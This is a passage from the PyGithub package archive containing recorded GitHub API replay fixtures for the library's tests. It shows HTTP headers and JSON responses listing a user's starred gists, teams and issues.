/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"acme-public-website","mirror_url":null,"language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"git_url":"git://github.com/jacquev6/acme-public-website.git","full_name":"jacquev6/acme-public-website"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt0000644000175100001660000000443414756101563026322 0ustar00runnerdockerhttps GET api.github.com None /gists/starred {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '1871'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6fe6eaa71614e18ab69868eb20639534"'), ('date', 'Sat, 26 May 2012 20:15:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"git_push_url":"git@gist.github.com:1942384.git","updated_at":"2012-02-29T16:47:12Z","url":"https://api.github.com/gists/1942384","comments":0,"public":true,"files":{"fail_github.py":{"type":"application/python","size":1636,"raw_url":"https://gist.github.com/raw/1942384/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","filename":"fail_github.py","language":"Python"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","git_pull_url":"git://gist.github.com/1942384.git","id":"1942384","html_url":"https://gist.github.com/1942384"},{"git_push_url":"git@gist.github.com:dcb7de17e8a52b74541d.git","updated_at":"2012-02-28T19:44:42Z","url":"https://api.github.com/gists/dcb7de17e8a52b74541d","comments":1,"public":false,"files":{"cadfael.txt":{"type":"text/plain","size":585,"raw_url":"https://gist.github.com/raw/dcb7de17e8a52b74541d/48ca696645682d7430d73180814434e0284796b2/cadfael.txt","filename":"cadfael.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Cadfael: order of episodes in French DVD edition","created_at":"2012-02-28T19:44:42Z","git_pull_url":"git://gist.github.com/dcb7de17e8a52b74541d.git","id":"dcb7de17e8a52b74541d","html_url":"https://gist.github.com/dcb7de17e8a52b74541d"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetTeams.txt0000644000175100001660000003013114756101563024746 0ustar00runnerdockerhttps GET api.github.com None /user/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:675E:4211BBA:531401D8'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '11367'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"00eaa266c50bd385cc99089d641a1242"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 03 Mar 2014 04:15:21 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393823721')] [{"name":"Owners","id":141487,"slug":"owners","permission":"admin","url":"https://api.github.com/teams/141487","members_url":"https://api.github.com/teams/141487/members{/member}","repositories_url":"https://api.github.com/teams/141487/repos","members_count":1,"repos_count":1,"organization":{"login":"BeaverSoftware","id":1424031,"url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/1424031","name":"Beaver Software","company":null,"blog":null,"location":"Paris, France","email":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/BeaverSoftware","created_at":"2012-02-09T19:20:12Z","updated_at":"2014-02-23T05:51:58Z","type":"Organization"}},{"name":"Honoraries","id":303637,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303637","members_url":"https://api.github.com/teams/303637/members{/member}","repositories_url":"https://api.github.com/teams/303637/repos","members_count":164,"repos_count":0,"organization":{"login":"coderwall-forked20","id":3080475,"url":"https://api.github.com/orgs/coderwall-forked20","repos_url":"https://api.github.com/orgs/coderwall-forked20/repos","events_url":"https://api.github.com/orgs/coderwall-forked20/events","members_url":"https://api.github.com/orgs/coderwall-forked20/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-forked20/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080475","name":"Forked 20","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Forked 20 achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-forked20","created_at":"2012-12-19T11:54:12Z","updated_at":"2013-10-13T23:33:01Z","type":"Organization"}},{"name":"Honoraries","id":303631,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303631","members_url":"https://api.github.com/teams/303631/members{/member}","repositories_url":"https://api.github.com/teams/303631/repos","members_count":2223,"repos_count":0,"organization":{"login":"coderwall-forked","id":3080402,"url":"https://api.github.com/orgs/coderwall-forked","repos_url":"https://api.github.com/orgs/coderwall-forked/repos","events_url":"https://api.github.com/orgs/coderwall-forked/events","members_url":"https://api.github.com/orgs/coderwall-forked/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-forked/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080402","name":"Forked","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Forked achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-forked","created_at":"2012-12-19T11:41:31Z","updated_at":"2013-10-15T16:59:47Z","type":"Organization"}},{"name":"Honoraries","id":304245,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304245","members_url":"https://api.github.com/teams/304245/members{/member}","repositories_url":"https://api.github.com/teams/304245/repos","members_count":2217,"repos_count":0,"organization":{"login":"coderwall-polygamous","id":3086534,"url":"https://api.github.com/orgs/coderwall-polygamous","repos_url":"https://api.github.com/orgs/coderwall-polygamous/repos","events_url":"https://api.github.com/orgs/coderwall-polygamous/events","members_url":"https://api.github.com/orgs/coderwall-polygamous/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-polygamous/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086534","name":"Walrus","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Walrus achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-polygamous","created_at":"2012-12-20T04:08:42Z","updated_at":"2013-12-11T01:46:46Z","type":"Organization"}},{"name":"Honoraries","id":303548,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303548","members_url":"https://api.github.com/teams/303548/members{/member}","repositories_url":"https://api.github.com/teams/303548/repos","members_count":167,"repos_count":0,"organization":{"login":"coderwall-lemmings100","id":3079637,"url":"https://api.github.com/orgs/coderwall-lemmings100","repos_url":"https://api.github.com/orgs/coderwall-lemmings100/repos","events_url":"https://api.github.com/orgs/coderwall-lemmings100/events","members_url":"https://api.github.com/orgs/coderwall-lemmings100/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-lemmings100/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3079637","name":"Lemmings 100","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Lemmings 100 achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-lemmings100","created_at":"2012-12-19T09:40:52Z","updated_at":"2013-10-14T18:57:32Z","type":"Organization"}},{"name":"Honoraries","id":303589,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303589","members_url":"https://api.github.com/teams/303589/members{/member}","repositories_url":"https://api.github.com/teams/303589/repos","members_count":3650,"repos_count":0,"organization":{"login":"coderwall-charity","id":3080009,"url":"https://api.github.com/orgs/coderwall-charity","repos_url":"https://api.github.com/orgs/coderwall-charity/repos","events_url":"https://api.github.com/orgs/coderwall-charity/events","members_url":"https://api.github.com/orgs/coderwall-charity/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-charity/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080009","name":"Charity","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Charity achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-charity","created_at":"2012-12-19T10:39:38Z","updated_at":"2013-12-13T22:31:08Z","type":"Organization"}},{"name":"Honoraries","id":304227,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304227","members_url":"https://api.github.com/teams/304227/members{/member}","repositories_url":"https://api.github.com/teams/304227/repos","members_count":346,"repos_count":0,"organization":{"login":"coderwall-python3","id":3086369,"url":"https://api.github.com/orgs/coderwall-python3","repos_url":"https://api.github.com/orgs/coderwall-python3/repos","events_url":"https://api.github.com/orgs/coderwall-python3/events","members_url":"https://api.github.com/orgs/coderwall-python3/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-python3/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086369","name":"Python 3","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Python 3 achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-python3","created_at":"2012-12-20T03:41:01Z","updated_at":"2013-10-21T18:01:03Z","type":"Organization"}},{"name":"Honoraries","id":304225,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304225","members_url":"https://api.github.com/teams/304225/members{/member}","repositories_url":"https://api.github.com/teams/304225/repos","members_count":1021,"repos_count":0,"organization":{"login":"coderwall-python","id":3086352,"url":"https://api.github.com/orgs/coderwall-python","repos_url":"https://api.github.com/orgs/coderwall-python/repos","events_url":"https://api.github.com/orgs/coderwall-python/events","members_url":"https://api.github.com/orgs/coderwall-python/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-python/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086352","name":"Python","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Python achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-python","created_at":"2012-12-20T03:38:28Z","updated_at":"2013-10-16T19:01:51Z","type":"Organization"}},{"name":"Honoraries","id":303627,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303627","members_url":"https://api.github.com/teams/303627/members{/member}","repositories_url":"https://api.github.com/teams/303627/repos","members_count":74,"repos_count":0,"organization":{"login":"coderwall-epidexipteryx3","id":3080383,"url":"https://api.github.com/orgs/coderwall-epidexipteryx3","repos_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/repos","events_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/events","members_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080383","name":"Epidexipteryx 3","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Epidexipteryx 3 achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-epidexipteryx3","created_at":"2012-12-19T11:38:11Z","updated_at":"2013-10-04T16:44:30Z","type":"Organization"}},{"name":"Honoraries","id":303625,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303625","members_url":"https://api.github.com/teams/303625/members{/member}","repositories_url":"https://api.github.com/teams/303625/repos","members_count":391,"repos_count":0,"organization":{"login":"coderwall-epidexipteryx","id":3080333,"url":"https://api.github.com/orgs/coderwall-epidexipteryx","repos_url":"https://api.github.com/orgs/coderwall-epidexipteryx/repos","events_url":"https://api.github.com/orgs/coderwall-epidexipteryx/events","members_url":"https://api.github.com/orgs/coderwall-epidexipteryx/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-epidexipteryx/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080333","name":"Epidexipteryx","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Epidexipteryx achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-epidexipteryx","created_at":"2012-12-19T11:31:05Z","updated_at":"2013-10-15T14:07:00Z","type":"Organization"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetUserIssues.txt0000644000175100001660000020741514756101563026022 0ustar00runnerdockerhttps GET api.github.com None /user/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '68462'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:45:16 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/166","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/166/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/166/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/166/events","html_url":"https://github.com/jacquev6/PyGithub/issues/166","id":14447880,"number":166,"title":"Complete listing of issues","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25/labels","id":318564,"number":25,"title":"Version 1.15.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":0,"state":"open","created_at":"2013-04-22T20:31:42Z","updated_at":"2013-05-17T11:20:54Z","due_on":null},"comments":0,"created_at":"2013-05-17T11:20:54Z","updated_at":"2013-05-17T11:20:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The three APIs described in http://developer.github.com/v3/issues/#list-issues are not fully covered in PyGithub.\r\n\r\nThis was reported by mail by Daehyok Shin"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/157","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/157/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/157/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/157/events","html_url":"https://github.com/jacquev6/PyGithub/issues/157","id":13505356,"number":157,"title":"Publish version 1.15.0","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25/labels","id":318564,"number":25,"title":"Version 1.15.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":0,"state":"open","created_at":"2013-04-22T20:31:42Z","updated_at":"2013-05-17T11:20:54Z","due_on":null},"comments":3,"created_at":"2013-04-22T20:32:35Z","updated_at":"2013-04-29T08:46:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Py